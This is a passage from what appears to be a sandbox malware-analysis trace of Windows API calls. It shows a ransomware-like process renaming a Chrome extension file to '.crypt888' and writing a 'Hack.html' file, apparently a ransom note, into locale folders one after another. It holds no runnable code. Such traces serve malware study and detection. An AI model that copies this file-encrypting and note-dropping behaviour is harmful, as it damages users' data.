lpFilePart=0x0) returned 0x85 [0074.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypt888", lpFilePart=0x0) returned 0x8e [0074.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd956da0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1810)) returned 1 [0074.465] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypt888")) returned 1 [0074.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales", lpFilePart=0x0) returned 0x86 [0074.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\", lpFilePart=0x0) returned 0x87 [0074.469] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a528 [0074.471] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales", lpFilePart=0x0) returned 0x86 [0074.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\", lpFilePart=0x0) returned 0x87 [0074.472] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a528 [0074.473] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.474] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar", lpFilePart=0x0) returned 0x89 [0074.474] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x8a [0074.474] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.476] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar", lpFilePart=0x0) returned 0x89 [0074.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x8a [0074.476] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.477] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\Hack.html", lpFilePart=0x0) returned 0x93 [0074.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.477] GetFileType (hFile=0x174) returned 0x1 [0074.477] GetFileType (hFile=0x174) returned 0x1 [0074.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg", lpFilePart=0x0) returned 0x89 [0074.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8a [0074.478] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.478] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.479] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg", lpFilePart=0x0) returned 0x89 [0074.479] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8a [0074.479] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.479] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.479] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\Hack.html", lpFilePart=0x0) returned 0x93 [0074.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.482] GetFileType (hFile=0x174) returned 0x1 [0074.482] GetFileType (hFile=0x174) returned 0x1 [0074.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca", lpFilePart=0x0) returned 0x89 [0074.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8a [0074.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.484] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca", lpFilePart=0x0) returned 0x89 [0074.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8a [0074.484] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.484] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\Hack.html", lpFilePart=0x0) returned 0x93 [0074.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.485] GetFileType (hFile=0x174) returned 0x1 [0074.485] GetFileType (hFile=0x174) returned 0x1 [0074.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs", lpFilePart=0x0) returned 0x89 [0074.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x8a [0074.486] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a528 [0074.487] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0074.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.488] GetFileType (hFile=0x174) returned 0x1 [0074.488] GetFileType (hFile=0x174) returned 0x1 [0074.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.491] GetFileType (hFile=0x174) returned 0x1 [0074.491] GetFileType (hFile=0x174) returned 0x1 [0074.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.494] GetFileType (hFile=0x174) returned 0x1 [0074.494] GetFileType (hFile=0x174) returned 0x1 [0074.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.496] GetFileType (hFile=0x174) returned 0x1 [0074.496] GetFileType (hFile=0x174) returned 0x1 [0074.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.498] GetFileType (hFile=0x174) returned 0x1 [0074.498] GetFileType (hFile=0x174) returned 0x1 [0074.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.499] GetFileType (hFile=0x174) returned 0x1 [0074.499] GetFileType (hFile=0x174) returned 0x1 [0074.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.501] GetFileType (hFile=0x174) returned 0x1 [0074.501] GetFileType (hFile=0x174) returned 0x1 [0074.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.503] GetFileType (hFile=0x174) returned 0x1 [0074.503] GetFileType (hFile=0x174) returned 0x1 [0074.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.505] GetFileType (hFile=0x174) returned 0x1 [0074.505] GetFileType (hFile=0x174) returned 0x1 [0074.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.506] GetFileType (hFile=0x174) returned 0x1 [0074.506] GetFileType (hFile=0x174) returned 0x1 [0074.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.508] GetFileType (hFile=0x174) returned 0x1 [0074.508] GetFileType (hFile=0x174) returned 0x1 [0074.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 